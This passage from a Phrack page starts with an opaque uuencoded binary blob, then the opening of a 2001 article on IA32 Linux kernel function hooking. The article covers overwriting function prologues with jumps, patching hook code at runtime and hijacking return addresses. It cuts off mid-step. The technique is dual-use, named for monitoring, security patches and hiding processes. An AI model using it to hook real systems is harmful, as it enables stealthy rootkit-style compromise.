M^@=.QM.`1L82^CHJ8X7^3.Z7,?$*5.(^7;5+9V-T'T7A-&)=I+EC08J$NNN5
MG[IM\)[OO\*KRM@)`Q-5BVXOI!*H&=P*T7^E9E-`F`B[6*GF>"M&+#R__$4Y`RKF+5V3#BX7CC)?L6<'SP_`(0-_#T
M$26XN0"H89]4PRUI6UJ5QP(W0[\`QNJY7P!5-TQQJA,]/@`A5GW;QH18I^`;
M*\S]C]U613"*U]*K"W%34=S7BF]^Y;L8GB'%#'@1P#N9.-AYCH1>L\]/B^3L
M+(6^?.C>TYR0?!9G>!<7V0Y+TB3%`[;P#Z1S,NO>;QZ`2\[Z3?(.,U[?F^>^
M&\52(+2])Z?9F$72C`I4:?'CU%T3-3N?J6=]`&I2>LFM$,=51,3W4MTC8>J*
MW.DA&9KOQ2F%TQ9%%)E\<@E+;?)!]=(,8&AU%3^PWEU8)9(IMMP0^R38%L^/
M\+OL!%%_:>M*B07%RTWOHC$\F6:U'Q=V3!Y9FG>N!20$$$@N(PZ2GU^\N9&&
MC06CV+'?N%7,'M61CH]F.7V!-%J!1WBXE^5HLN5KJ*+2.:XC
M]EI!+92X\852P,5GB@?
M*1\O'_Y8]$MA.DST=8YN[J@59/F"Q3N@IB!+J'0_5TM0'#7FL26`%W`OU6=.
M%=5,=R]Q]%2_(]-R1/I-7)'?-$`;&3T354W7V]'#H>G%HN/.`7`9,D/`\M!.
M?O(T5;86(*3471;'X.-VZ[5A/5TE/S_SI2?@J%,I1J_WPO6KNUO,_BM1E%2#
MWT("'2?\BW[LJ(T$!&%6&C\DUT'@].CK;?2>#E-WFR]U?'6%-&P)OPHOIRLSRKONM@(/(Q=:PZA(5F"
M_?/"0N;R2$'-#FIGBO6:A\R6F115D4F+PQ0K0ZU4E-7T>L:.(DN&<(:$>5__
MK(GO",?!SVCJ*"&-IHY?FXZ8-ZLRZT%V5M.:A.-4W/EQ\5%?EL2[5S58>6AP
M*+I.;\4[AJ5NW=58DR%L@;IUKU^V[095YRP\-3(7C]G=#=--KB8;G.W';?Q&
MU_&F>5IJHE#,+5A_]E_UT,,`E29'4Q9Z`13[&K\V0IMW_-!I(3K:QHVSQ+.-
M>\9B9D6UC^YI*A5;?J$H8T,N4_!4QQQ`>>KWDA$+Z!=RIO_A_;0SQNR3LEOO
M,'0H7)$\%7XX8``5KB"!2J+8%?4UL+'WFH51$ND+B7&(9UGN9.$*S`2/
F#ME(I[]^A@V[/G^,P;QFF_@5_)EVJ+=4CVAJ,YQ6
MB$G4AKP-&C+8DH=[+M#LS%QN)C)'W#N_#GB3/5,S4#Y9TG_!>K"W,1T0[V0P
M2/>]NNW-=EI"^BG*37XN6PU_:ZGN[9O\W@;E3U`O.?E4`;K-1#(,$A<<"ZR$
M91&-L%L9==1V[WQ49D)3\X($Z*->C4:]+2NXQD.J_)BB'MM$0J5F?;M2@>IU
M:-W4TV,R%FCR@]7-QG!:O3$#2X%VL'$#YHO-UZAM&KO]JS:X2DB@'$D2]MG]
M=M;LH-!?J
M"@UZ39O&"MR7R'RX*NE%TJ`XR-.AD,?8V6B0UI@+CO\Y],T,_2FM"0!>$?$K
MU5Y)B!QN0,[8_7'0%
MJ%DW`A#@E-&>^N9V>F0?-U"]_R:QRK,P=>5ET%X&`(%]KJ]N<=G3#FNPO#U
M_-T.N*/++HH*/@%I%JB=4;?.)]EWO:80"%^Z,(ICCJU$U-;")\\*Y;,*LLK*QR/
M*?R!LLQMY]>.]/1ZS,()[!:OM8GQ.7_6B(IXPSXK^=P1VD+V"1&;%=BO6I1;
M8^&F6462_.IB.`K*PMHV2[]T+QE"@\@"`^X\#AP?&GJ!\SL[Y._
M\E=53EFHKZEK00`V%EMO`+`SF[T%6O\PJ*)QU:Y'_('/S0(OF#U[S2'/\.F#(
MY'&EM6ZA?.6:!;"YVAAX?$F=(6!_NJ`&H+'_*#[XS@4_<2F[V%3@PQ*Y.&SA
M$)38EDL01\D>Z?_<&BV3?WQ`R!D3;)K@=L@F;/5$Z@?[Q)PM.O2:S-942'?G
MS?&.>-]#XXS\0([A-GW/T_O9504/EMLQ8]&C_"N8!++3>+'=4)Q\D!&R3!'*
M?9,7MLMXB#T_7TLZPD`R%Q&3,Z+P&\XMY2'+VF?@#`M?:<&'$RX$4MC!_?L&
M**F=!`E&Y0V('1>.=H&C#KWV5MA+$Z93UP.UV#A=^P%^!*:)4(P=1FF)=W^0
M^.\*1/[94[;QL5$H+4B/1I[#JHH\OGG"9$7,DL()O4TZ:#VTDOQ"H%*I-/)2
M@1#D>-)$*&=^B4X@>$P*Y`4:Y.@E*0H4N.1NAU?7>K:`2R/?[XJFU?`>VPL\
MQS6VI_:+4$A)//*+`S*.WJ4Z0=\6"9NZ'3N;X!XL0>5'J9'K4:5GGXR8E[]^
M;6]J*M&5MFP;*M&*&3`=^>7QYL5\*%7ERW-H4^;D6N*C/.:A-`5M2\_.EH*#
M([QREC1W-C<`S:-TIAL]2U"ZG6+$.L*V7.4R?M,@OD(?*?V^8E%Z[E8)Y[FP46W(?OBHHW6&U;3&]L:+=)E%9FBN&6@.*(-
M^GKIJP43IHI*U7;R-W/"ZU*YX0IU=0GX55X^#@VF#BW$`"TQAJ^9ISD-[?P<
MO#^C4N-QP.TH'FM6%)]S'P;6$N:'MDYV/C9N&&F].=/*:XGGKT87)7>O!9_S
M@Z27WITPRT=MT>C?$[O1]1Q^#*,JUJ>[T*VH+.=^CML43A50G)@%#Y'MKL/$
MD6GHL2L9[Q=HB>)<.3FB]$_@PNB0A%E273SQ79P3@)"0QNN"]V$-;DEK#\01
MI@7:)CBMS./+JT?Y+F:TI'K^P%!Z)OR,\$MG/9;QB<]Q(1!K/^Y>LBV*H`K$
M@"8+H7>27G`93$ZB9@,O2J6V%#NF<:&A02W]^.Y&R42/LKUL^2I79K'ZQKL(
M]7`I2LS0("[BL='`BAO+R%EP-*ZT[]6B?(>I.M-#=S>$"@RPZC_KQALDH5`#YX#GPBS3^73#`;QSX
M60-ODTY1=/S[?B&E5U:=6^!^0&/PV"\QBYJ+)]57!Z,?FJQ#%4$]"^]0G]YU
MCP>^*?G0`S1]"F)*'T>KT9PWVBCZK+<:&1>"\*0EV3<13/SX(LL-0B3(AU^G
MO2IJE%Q>Q$ASLQ+#3%(X0--B7$"CLLK@P_IAN%16F9PE?E,%H&TS==L;Z/L<$FK"\VO!#?-5QHG
MG?_\Q//IJ^:/Q*=5FZ8ZTK3G$IO!`2?Z:W37Z7C?9=YUWOA9[=?S;#DV.QA1NGQV2W3:Y!XHF@KF&=<6`5-^7+C4@2C
M)D6&QAEK>R24:SV]IH3=\4Q":U`B;?K:U=_ITS>5WDK;,4])XLOKW9,9`)A@
MS_=&B-I?A=>&W,FR'(HD`L=VR)^$Y\V1I@1WM=C1L=R^\ON,*%/`T&!4/"I]
MQ2]Y5!';03=V&B_DBZ$A.!E7_WI&]3/P)_OQE1OBZ%=@94F$JCX/BBS\Q/XM
MBE/0Z$C?&Z\:(NMTB^*"#5KQQH21GDEZG+<8;Y/\&KE2P8C8W`A*PZ)UF^/--DPP
M`97G0%U[G\0#J)/]HD$P8S:A$%\L8J;Z]T-Y<,92S06:B,I?>"/H(-**8HJ0
M/F<<%9I34O.KU?"KU?(OU/`OU/*SU_"SU_(WUO`3L!!QH%8BE+)$WI^0S%GY
MN>:@[*"C2D)J_;`H/7PY%$6G9ZA3=NPV]L3ZT;&"$)B1I@]E>,@2,6_X39E.X(G"R;53'34
M1]!H7V>Y4K$.W4_K@[.6YP)!B<(92)S+3&UF%`J%H=7]PPM$MG!W^Y?@APW&';]7YIZ=)HP"\$PX=602^+$#L8'PV9*SK@TIB.F_'#&SAH2=^N!?:0M>E1>?;
MH_");`'E88G>1VS.!1[9475?Q;TS6K7,6UT3@_@J_6N?A21?MCE-H;OC`73&Q_RHS8/ZC
MK>',MS[5&I:86>#$FY"'A!`57B4F%2-TYQ_@D:?E4XQJS5YST58JT-RU8+&7
ML,3G>S_A]AV*BK+(QO/D6.ZT)98D;00_NVTGAF,E+E3&8;:2K[D_<$;21Z@5
M)4?$K<`IZ?YQH4HR3NV/>4&J/>J_Y<7>FY%C/<9?T":F:56KFBCWH>2,[#U@=K-MPRQMR,P&(D=NS75^PR;*(SIR;K$#]CO&O4G6#$;((
M$D*ZOW1ZMWN*#Y\;B/$2GB]Y`1E\A^,[\Z*>SD'GR[8[=?RF"D,J)66VU8&/
M+7]GGPUD)$MB`X+'N/SD+M7U7LE"R\O=W'M]"A:Q1=]8Z15WN_XI-Y)2G4
M%/6/05]0EI[9"VGAXQ"[BJKIPG`Z&^ZZ4?[B0>VDQ(.KL'Z,8J0!4'@&,BV(
M8_$Q"&^-9"4B"\E`3>CY0064''MM?5_-DM!=M&.O43L)>)T>>(^^+YO-OE\G
M8KOQ=#*6!@KM]IX_8\1>7X.#2G;#R1$&0!H^*6SEL:*^A3L!?6VG[)ALU4+%
MT(^=PW_WGU$4Q&98-%\LD_RZ*O2SEJ.ED6]A.5-W!,`_<)7_KCT`P*&AH0+H
M:B&]^QX`KLJ\H!]]/=+D:&A.P*X'WE*J'F+PV&/9NK2^!K6(6?0HXO(J:`3K%WE?[3PO;;L#.:Y4`JE[3CBUCAF*$K61JLI9K
M/CVHB0=V">D$\;_3`#PGUAXPY0
M;(=!N[I]"AVM>\%>T%X@FKX8!38#2=G4
M-%J@!EO7BBK"'8UGK@98\A<\XP;P8LRD:B3-SB<`_]KV?]740\'#ETR4.-0=
MZ*@R-*-IYQ&?'2REC%?:\H3EU43[9@8;($ZJF2_)YEL>_N8*BB*^F`J__9WJ
M4U>F$9@;H)QH-U9B0-'_&TE`DK@\[GT;%IQ>9+@=AY=!BAUMRGCS,:A0PV*1
M(.(S1=VWQBKEMC&ZL`AY-E&(^LTCENSLK+*^F?P#L14K3P>1;N#Z-82K9>)3
M57U@(>)Q#J@YV4(>0][9Y:E)A>F(8G[E@NRXGV:%08;QN>A-IPV_C$.5=/8J<[51"KKH,H-Z$&.@G&"4H4H[I"V8R`<8;CN,4%WR\&'=
M^^IFLEB0';I608[+H3\K+N9H,G)>!N6A/VS@9S9\/<5O]7)LU;6'A^S$?N*(
M!>V,;AX/ZBESO4A#+4=/EL2K(+H6_APZS;H7#Z>*<2/56P[P3_"/SXI0QR,#
M>?777P;STD@86;RC,[-I[4P)?&/$1%CZXLJ%WR=A%JKU$CE1#N[6E%;'T?II
M;1:E'AA/9Z)D5+C:Q$28;JP"(VA^F]J::/UK[IS[1>DROP>1*?'\I90/ER@%
M?D)N?PG2*N/*B-E!7A,D?N,N!:>6_1(:`H4AZ)AVSN$RL)7?\()L;>QG$GA/
MM8H#1V2ZUG#UMB*0B<;*-Y_5*6-Y:XFLU\?7ICN+A[.A+D`/#QV6,_&:>:+Y
MS_0EO6G.V1B0ZIJ7-ZJK1*B?,1=V;0N+Q[K7>U)#@AIWP-I7.AT]9'OBP"VY
M9`(J3W[B#X7XZRNT)B>:H3Y8/E<2A^,]H]C\[K6-C;X.V_B):S84#'9"%DA@
M8IU%/5:Y&%^#1:0RXN^&Z3>A!E&3JV-,%RJ\VVJ#6C\`?8'+GC3L2578CO)X
M5;T#W0ZW55NVR)IHD=/V+8(><7Q2Z4VAJ-=2AQA//[W,K.`^DO7ZIFFA]H&`
M#&_(G*#?LA6X01[1E##,"A#[[AC-MO:LOE$F58,"]
MI.<*!/6YAP`0O0*)U@&`(;IRFUFF]&F"O?^X?Q@%K4ZK#`_(#L;DY#SS7=?I
M0?)LS8A*QFPZ7\8*/H!R&QL^?'LC>3\DQ+GO'"MYP_B0L78==KANI]8\3T.;
M<4N-%M1=1>2N>IPXM340J;NN9P@L^\6L`-DGR>]!D%9K$H$[M18J$$Q.*@^B
M2KG[,2V!-G(%QN1>"BG.TS3:[(N.RY,Y'_:O'/6CL/06>-"KU$B;Q>"QQW*Q
M=A,Z/SO_`U'M<'='!;+XM'HWU.>5.)O!;5*N$"IU%:Z<"N1FA$C#&P^GYJP7
MCM#`EE<[Q)@JFTB/TH'S7%K%[2,_4&AU(!$0@\^3!1SR5R)FWMGWN;FG`TU[IGI8MLY#3
MJ1^3!T4L0LY\M,\=;[9D/2G')W.F`Q:5'*RB5/PLR*,(K>1EYA\!$B9@%RQE
M;88:&0P*%VLJMX;HD]3,./*ZOW^&5!D9RTB3W$E^.BKH:S5/V>1_F6?ZK\($+-":/!@CJFXB%JH%%ORQB:6;>:5@WTP6>`_-EB%/9YJ"
MEL>/ZZP+U"-!W)IN)-DUK#0DXAL5#7@S$^-!P6:FO66O:GDJT$`MK69S2YG&
MST2R#+\RH\NMV0^80;W-/L1?(EIO3F_]7>77Y%'3![
M`$<0:1"0D)#NEFX1%)18Z124;I!.5T)@Q05EP8"E.W?I[A;I6&I!64*6E@4D
M?_=Y[NO[#]QS]O-JYC^8.?,]9ZXV)GAE2KOU)1>J75+^2%);SKO'RW2VT,7'
MOJ=R:ZO:"E:B(UPW=O&44>WS^\'ZL%J804IVE&5T;.H2D.6."G`KZGU7P-$>
M4OV]]8H-:;VS2J@_LK#Q,86OWP6KL&!/[0\3DZI5+%+Z7*MK(?"(1Y92XN%$
MM+_V,$FJ9
M+81Y-R..^%HA7^>M7S+VP^:ZCS+H%<+S?-27?'RV,WP%^PQB$SFDJA81THEFRN1QH9:1
MY/RKO3-^L5_[[XY$YZ=,"7I(6'D^34E'[ZP9A%KFA;VF8K>\_$XX96/G`/;B
M&]=QXB0T<%:)7=]8T)ZOES5<0VJQ5N,'PTE.'$
M=L_8XV*H)73G0W#"?QJ'8]S)=W@D-&Y-D=>*76V.[$!L??0OJ]8RGT5*%(&J
M*I:_*`;6SOE![Y??T[R[OOWFNAW1N*^&BB`_`-M]9G['\._]1=/<#4FH']!:
MO:AUA3J938.V7JXBCB!AOU=GUSB86E^'AYF5#O0^#P6QB:006"GG`]F!2QM;
M;E/^-C<=FIR!W`,
M";-*R:@-HV15;;/CA#(4G_SF%0)R;8K*EOB\K0N]G[TI*W&JTQ(]3TX,
M#V>X$'II;B+6\'7I?.H/%-W7U/ZF1ZZZ)JKLY#8?/$6#3AJ2C&TPA?$^OA,`
MILOV".=V]C->3GQT@.LA8Q%9BE`\GAZI#":O'DDU?$N%HWHRA8/GKC:0["OL
M3O\R/%;)8=!GR;MAIP?.RPXH`-6#O1!JOU7'!PC`"H#U][]8!`@C;6J!Z2#$&5"?-@NE:@`6+:S;EX#.@6+/
M1@H&M_#4VRZ<[DJ0"U^G9TJJE+']DYR;Q';FI=Y0\P
M7G=8EO\#`=^2L:2[.\$_NN3/O]?>[/W\MZSVGZ'0QMKKUS4*^\/=P>F]`L$N
M@))/#]X!/"+^N=X3L3!@/2F+?V-)Q;RU$CW:L,RF/Z`A\+/8[O8D;[:2_F$#
MK\,6Y'!!6D\!(74BBB0M?.CR^^Y<-M*7*N6%_:88JW'R\6$*[2G-I""!>#>AL(VC]!N.J[+0G6
MXH1+9?)-#>Q,8]#MD;+IIV_NZ&YKL?CG?U9/7A=$+$JEV8PE0OFG>K7<NQ"7$4L7AK70R79<-AJ\P_T'3#JXW!"QT>OQXB5($1W)7)+,*\
M&:*>2K"%Y`4\D#JUD'Q`TG9?_['%\SN8!+EOCM'*5AV/ULO7*$7M/\7_9+Q:
M#EX=[<"$=CKL?UQ_ETGSZ\XBI1++AQ')^>`<(H\Y36(KU5L1H3))RB,@U]AL
M,9K#M>P[4I1WGA#D,L+W.ZPM5T/&Y8L2[HY_?MZ3XR\>'$\JZ"WI@O,U*$$$
M:B_.21-13%%)&JPN"G[V7Y#TRX6*(/V:L\E(H_9LUA)'NV(QZ&+<,#[1(%=(;)5O:*=:
M8,OQ./5^3+ID"%^-&VQHBI`T2BI29UY]YBNCWF'\-R3-3N=\RF\G@G++`:T\
M(96BS!]4%5WRON[?3;8WWMJ_*SGQ;QIMW[J+=0WO23OSJV4)/&=C,:<]I2:!
M;!Y%NFFUT9$,4@C*K#+S559>#Q5<#86AZ((*&-_WU_T[*(]L(.A>"#)E+2W@
M-Q0B:'%O*'HD0\1[5)O::FU$.-,PY?4K:"J=>U1(W-Q!IFAI0.TIS&BL?2/$
MFKJ;E@\DUB/05,1,N(0=;G\,NXRZ=@;A0DN'*E'9L;:,_J5O,_GNRJEOQ76U
MK801=(S=EM,C(RM%P^2YU7>S'QP`OD:FJBN:CB^:H,^["X:2(%7AHZ+#QO\R
M.T+`B(,P""KI6\>?AC%P%Y',%EN*&H%\<^1R=1RO]J%]:B&Y7):X#@1#5RQO
M;&D"HJ8&AS2#_5H`I<1*O6X!U&A7W<4);((U@Y72@*M/G@7."AUC>U4I\97R
MI)IWE'-=^W#VIGS+Q[9]9?,6,NZ>:>%WSFK[!Z#I1Q=&"]Y,0L2>=-QQ:";2
M?]ZH#V9M22QZA0&MP^;C'8YSEV9A>YL![;ZO#]!Z0BB;L=]1)1#NMDAI1WGX
M[I0X-ROQUZSJ1,VM7P\=\E+,W,=+9[),2Z6+C5S,"O?AS]&6:2FN086\Z;/3
M_]LLYBO&,H\2^A@4.IH5SO!7(+.T_HI6A"U\?YG\U]D$.U8ZDVDJ!#<6@IL*
M?3<6^OP\3!ZFM)(N:^_4XJA/;E8Q5'S6*@H7)RVWUV3@^;@I/*DT*FK"=
MF!ZT99.\\]#?3"BMY'6:K8=]1?/+Y-G"\Z$W"-',`G11GMPMR9#&DQ4K.>;/
MJN[3E68UTR\V6XB6:!<*S4QOT.62',V2[->GS:\
MS.!/@,2YUB)(C';I/?UE;S[HZ3H%>\8^%D?$IR*-RQ.LI'T:RU2E/W'KI$>\
M?H:VF,WWHCL5YMZ38O'L=;QTLO%NR7P#J\O?KMKM/',"CWCYUK:(HIV7,CH/
M(-MS/S-]YN:"]_3H0[_$=`Q+:7_BG;Z%X\J2Y?BD6\^9SBIR&'XB;K=LV*X*4NJ)_@>
MFK+D8>/!];M).B!MZ[*X-5Q]C&'%9:C'Z'BQD:%64?OA7D`/;ZE_0*$KM8ESUF-;SV"/)T,$;+EV*$P\U[(H$
M!?@?YIJ$ADDD^4M9_84?5C(EN]7K0"7T8A>T"M$>YGBK\N_8SK9#227L.GM0
MH-CG[<7YGAVPVFKW-A2PJP08#U)]UD[5YLXS%H:=&!Q,VX>
M0)^#SX6S=Z[*.%?FZIE\*<)Z++[28@W/IZQH=7MR9*,3Q1)B*\EL97^Q'N0-
M2:BR<'/H9G0VF0VU%)7FI>F_]+RA>#X=!_]M"_A.*U%I8:P>33!N?]5*W`]8
M;Z+71:NI]%AOTSW(_/YXD8R3%6I'4E#E;\V\E(;;4/JUX^JG\72;./,9W&B)
M)["50[(MLFU#9G99V*P!PWV^I_1HY6W>^?=P]M'W6<^_[V1@_TY4,/@
M\O].-S:6+RW1%DNQURAGS-C-3GG$CPWC:ZRJZZ!Q$U'"`$Q$EGR0W6+MC_9!
M-;59N4JCL>>"6]X/[D(XY!/[$6PB2/"672Y['-HM7M^M1`P3]<$LY.=FX6&@
M');$W'[K%HKB*D?54!*7HQ0QT7/X<6Q08RN&?`!6$J.#<&(M,EOY(RT:P5[2
M7G)?6XR=5=!FL-Z@X(L:R%R][:VE[<=XI%B-E$7_XW7[#Y_F">J9/HJP:7P9
M@=XMMV6KTG.>O/5MA.=N3*U8U9Y>0'U+G_133.^A@X)!!MO*GF[TKD.#JA^'TG@@[-\KH_?/4P=?JE))^TUPK
MGTBPE[`MD[48J-`8YW`%F>F$::;:U8N9V5MLY:^T%(65WN`2D=9Q>^;P,"'D
M/.GFFB0H7(9SP??N5(GT[Y([5*"'>SS[WLVBSA`TDIYZ\?8];LS*'G'G-0P#
M`.>;KPXDV!(:3@L?$-@,`AD[(G/`S@_^)0!1N;H-V&T89V%TD)3*0U&G1#<9
M[+4,D:[L'*XH(2:D_W1<]K6(U>_6WO+$7V5E"5S!:LA9][3084G*UB727M62
MLK>-Y.*D'DZ+:H=?#B^%,F*Z]QB$)&=P0>%5D*X@Q90@V*
M;%"'1?AC4[LY-:I7"J[+OO;@>^--?=1G=AV"RB<[6,3MK"->WBQRG4NJ/M.!
M"6\OF!0K$IMN4E"55*RY\H1MJ.0VG($X6KVSO41XESC=A[_/]_+0IRH%N5K^
M_FN=PU/?9:+-D$?K6N+2;LPC622]--CQH_,7[/&&T2+('&ENC?0..+38!1P?
M@`:8^Q/2%9(>"4:'Z8'7-.[_;&1Z:1^3U%)':Z)(+^Z`<
M,<[;+]TC/_IC=>Y0AT[,-E#"=/J`Q+.\U3HPDZN;`H/`0IK>MXAF%+@Q#&AL
M'CCBF)LSE]]?`2*AXS^/`'L$4*4.6**7#P?`D5X;!L"E9?CR#V?F'J@B-Y
MQ*J]P)7U_/<),\I)54/?^KA*$H0:?QW);8RX[@Y,H6K2F>DD#VF=C\X+HKW#
MX>[2ZP:5=]Z%Y95KO3;*ZE&9]UYL2X,'+M6YL>/F$P4N^0WH`M7ZU:)[?>=^
MNN:?=[D`=0NN[^-E6OV*W5I
MWMO;"^'SB-4GM?/28#9]-K`^5GTUTOPI#H0DI(U8@'QG9+7L!&[ZC\.:BU(7
M:UVD9ZQKRQX@)L#EN%66ZT8#P,OD/O4)85:[P=K*.N$6A<2:4#4OF=\!72`WJ>G[SRV@@:?3
M0=D?XEZR.YB+M2FJA)0;5*4\4WBA_MEF+%[T`T&XV#C\3LC<66^JX[Y7?7B(
M7\YIE]CWBIW147=_?;%ML(:-5MMN_;\`R,N5TOX28O-7R!PS?BO>/[KYOA/3
M^^I\CAIS'M5KN5SO!2)T^,8PO+MSK]M-IKDD"F=G-&OFIT71;:_-Q'K>ZGE:
MTEDH_VVU3I]FWS6"4SJ?I':`%Y56P):?7:M=I&1*0J9:F`U!XFO95
M[-3S1[Y4OJ*B'89^9(B2,7N,"D&Y/JQW,;Y/QY/WT*E>^F``&L_C&=QO[4U!
MW\P>H#91P(!`)FJTDDP[9EUD))>SRAQO9^NK'DE]BLP":8W2BI*=MWVB":UL
MG_V><(#!WY0HEX'?-82'R
M3>K0J@T'+7112$HY+220=Q!8D[1`YB!-MT5%DFC*$V3$(JWO/"P<&$T.H&!0
MN#IIZ;YD&WWX1UWZ,'VBMJ5`38J0E>I!%-2Y-^D=F69XU;W`DA647F!"FTR>W;Z3,CSD,W\;L<$]##V3O*'7VUVV]7
M]51V0YRINY'*I;5[K<(L8"Y(_5\B%T74M8J3H)2M!5>J*V>6]A*[9DIX$3M8
MMNBVR]\*GX>A_YDJ:M4\\NYMM[R1UF=;?+QJ-HO,6&*BC
MP?H^"9I<1)L.<`BJV!+OZB:;HV3(]0:BAW_NPQ)K2^3'^*I&^/\,S[[+O_6C
M%MLK9*?P#FV'?3+J$"'K.GBM53M6016^V`7%[KP7$JII5S<;C)^GB%YUW';3Y9`G9LY=BC#6F^]DL$E
MZX4X97:!P(Z!L?;:%VY@YA+>L+LZ>9G*\4C3A]09.]P7HQGVW6/MS;G-Y45@
MV[1#+BK]6_1B4\G<'AX
F>'AX>'AX>'AX>'AX>'AX>'AX>'AX>'AX>'C_S_T/[21E80#(````
`
end
|=[ EOF ]=---------------------------------------------------------------=|
==============
Page 5/10
==============
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x08 of 0x0e
|=-----------------=[ IA32 ADVANCED FUNCTION HOOKING ]=------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ mayhem ]=---------------------=|
|=-----------------------=[ December 08th 2001 ]=------------------------=|
--[ Contents
1 - Introduction
1.1 - History
1.2 - New requirements
2 - Hooking basics
2.1 - Usual techniques
2.2 - Things not to forget
3 - The code explained
4 - Using the library
4.1 - The API
4.2 - Kernel symbol resolution
4.3 - The hook_t object
5 - Testing the code
5.1 - Loading the module
5.2 - Playing around a bit
5.3 - The code
6 - References
--[ 1 - Introduction
Abusing, logging , patching , or even debugging : obvious reasons to think
that hooking matters . We will try to understand how it works . The
demonstration context is the Linux kernel environment . The articles ends
with a general purpose hooking library the linux kernel 2.4 serie,
developped on 2.4.5 and running on IA32, it's called LKH, the Linux Kernel
Hooker.
----[ 1.1 - History
One of the reference on the function hijacking subject subject has
been released in November 1999 and is written by Silvio Cesare
(hi dude ;-). This implementation was pretty straightforward since
the hooking was consisting in modifying the first bytes of the
function jumping to another code , in order to filter access on the
acct_process function of the kernel, keeping specific processes from
beeing accounted .
----[ 1.2 - New requirements
Some work has been done since that time :
- Pragmatic use of redirection often (always ?) need to access the
original parameters, whatever their number and their size (for example
if we want to modify and forward IP packets) .
- We may need to disable the hook on demand, which is perfect for runtime
kernel configuration . We may want to call the original functions
(discrete hooking, used by monitoring programs) or not (aggressive hooking,
used by security patches to manage ACL - Access Control Lists - ) on kernel
ojects .
- In some cases, we may also want to destroy the hook just after the first
call, for example to do statistics (we can hook one time every seconds or
every minuts) .
--[ 2 - Hooking basics
----[ 2.1 Usual techniques
Of course, the core hooking code must be done in assembly language, but the
hooking wrapping code is done in C . The LKH high level interface is described
in the API section . May we first understand some hooking basics .
This is basicaly what is hooking :
- Modify the begin of a function code to points to another code
(called the 'hooking code') . This is a very old and efficient way
to do what we want . The other way to do this is to patch every calls
in the code segment referencing the function . This second method
has some advantages (it's very stealth) but the implementation is a bit
complex (memory area blocks parsing, then code scanning) and not very
fast .
- Modify in runtime the function return address to takes control when the
hooked function execution is over .
- The hook code must have two different parts, the first one must be
executed before the function (prepare the stack for accessing para-
meters, launch callbacks, restore the old function code) , the second
one must be executed after (reset the hook again if needed)
- Default parameters (defining the hook behaviour) must be set during
the hook creation (before modifying the function code) . Function
dependant parameters must be fixed now .
- Add callbacks . Each callback can access and even modify the original
function parameters .
- Enable, disable, change parameters, add or remove callbacks when we want .
----[ 2.2 - Things not to forget
-> Functions without frame pointer:
A important feature is the capability to hook functions compiled with the
-fomit-frame-pointer gcc option . This feature requires the hooking code to
be %ebp free , that's why we will only %esp is used for stack operations.
We also have to update some part (Some bytes here and there) to fix %ebp
relative offsets in the hook code . Look at khook_create() in lkh.c for more
details on that subject .
The hook code also has to be position independant . That's why so many
offsets in the hookcode are fixed in runtime (Since we are in the kernel,
offsets have to be fixed during the hook creation, but very similar
techniques can be used for function hooking in *runtime* processes).
-> Recursion
We must be able to call the original function from a callback, so the
original code has t be restored before the execution of any callback .
-> Return values
We must returns the correct value in %eax, wether we have callbacks or no,
wether the original function is called or no . In the demonstration, the
return value of the last executed callback is returned if the original
function is not called . If no callbacks and no original function is called,
the return value is beyond control.
-> POST callbacks
You cannot access function parameters if you execute callbacks after the
original function . That's why it's a bad idea . However, here is the
technique to do it :
- Set the hook as aggressive
- Call the PRE callbacks .
- Call the original function from a callback with its own parameters .
- Call the POST callbacks .
--[ 3 - The code explained .
First we install the hook.
A - Overwrite the first 7 bytes of the hijacked routine
with an indirect jump pointing to the hook code area .
The offset put in %eax is the obsolute address of the hook
code, so each time we'll call the hijack_me() function,
the hook code will takes control .
Before hijack:
0x80485ec : mov 0x4(%esp,1),%eax
0x80485f0 : push %eax
0x80485f1 : push $0x8048e00
0x80485f6 : call 0x80484f0
0x80485fb : add $0x8,%esp
After the hijack:
0x80485ec : mov $0x804a323,%eax
0x80485f1 : jmp *%eax
0x80485f3 : movl (%eax,%ecx,1),%es
0x80485f6 : call 0x80484f0
0x80485fb : add $0x8,%esp
The 3 instructions displayed after the jmp dont means anything ,
since gdb is fooled by our hook .
B - Reset the original bytes of the hooked function, we need that if
we want to call the original function without breaking things .
pusha
movl $0x00, %esi (1)
movl $0x00, %edi (2)
push %ds
pop %es
cld
xor %ecx, %ecx
movb $0x07, %cl
rep movsl
The two NULL offsets have actually been modified during the hook
creation (since their values depends on the hooked function offset,
we have to patch the hook code in runtime) . (1) is fixed with
the offset of the buffer containing the first 7 saved bytes of the
original function . (2) is fixed with the original function address.
If you are familiar with the x86 assembly langage, you should know
that these instructions will copy %ecx bytes from %ds:%esi to
%es:%edi . Refers to [2] for the INTEL instructions specifications.
C - Initialise the stack to allow parameters read/write access and
launch our callbacks . We move the first original parameter
address in %eax then we push it .
leal 8(%esp), %eax
push %eax
nop; nop; nop; nop; nop
nop; nop; nop; nop; nop
nop; nop; nop; nop; nop
nop; nop; nop; nop; nop
nop; nop; nop; nop; nop
nop; nop; nop; nop; nop
nop; nop; nop; nop; nop
nop; nop; nop; nop; nop
Note that empty slots are full of NOP instruction (opcode 0x90) .
This mean no operation . When a slot is filled (using khook_add_entry
function) , 5 bytes are used :
- The call opcode (opcode 0xE8)
- The calback offset (4 bytes relative address)
We choose to set a maximum of 8 callbacks . Each of the inserted
callbacks are called with one parameter (the %eax pushed value contains
the address of the original function parameters, reposing the stack).
D - Reset the stack .
add $0x04, %esp
We now remove the original function's parameter address
pushed in (C) . That way, %esp is reset to its old value (the
one before entering the step C). At this moment, the stack
does not contains the original function's stack frame since it
was overwritten on step (A) .
E - Modify the return address of the original function on the stack .
On INTEL processors, functions return addresses are saved on the stack,
which is not a very good idea for security reasons ;-) . This
modification makes us return where we want (to the hook-code)
after the original function execution. Then we call the original
function. On return, the hook code regains control . Let's look at
that carefully :
-> First we get our actual %eip and save it in %esi (the end
labels points to some code you can easily identify on
step E5). This trick is always used in position independant
code.
1. jmp end
begin:
pop %esi
-> Then we retreive the old return address reposing
at 4(%esp) and save it in %eax .
2. movl 4(%esp), %eax
-> We use that saved return address as an 4 bytes offset
at the end of the hook code (see the NULL pointer in
step H), so we could return to the right place at the
end of the hooking process .
3. movl %eax, 20(%esi)
-> We modify the return address of the original function
so we could return just after the 'call begin' instruction .
4. movl %esi, 4(%esp)
movl $0x00, %eax
-> We call the original function . The 'end' label is used
in step 1, and the 'begin' label points the code just
after the "jmp end" (still in step 1) .
The original function will return just after the 'call begin'
instruction since we changed its return address .
5. jmp *%eax
end:
call begin
F - Back to the hooking code . We set again the 7 evil bytes in the
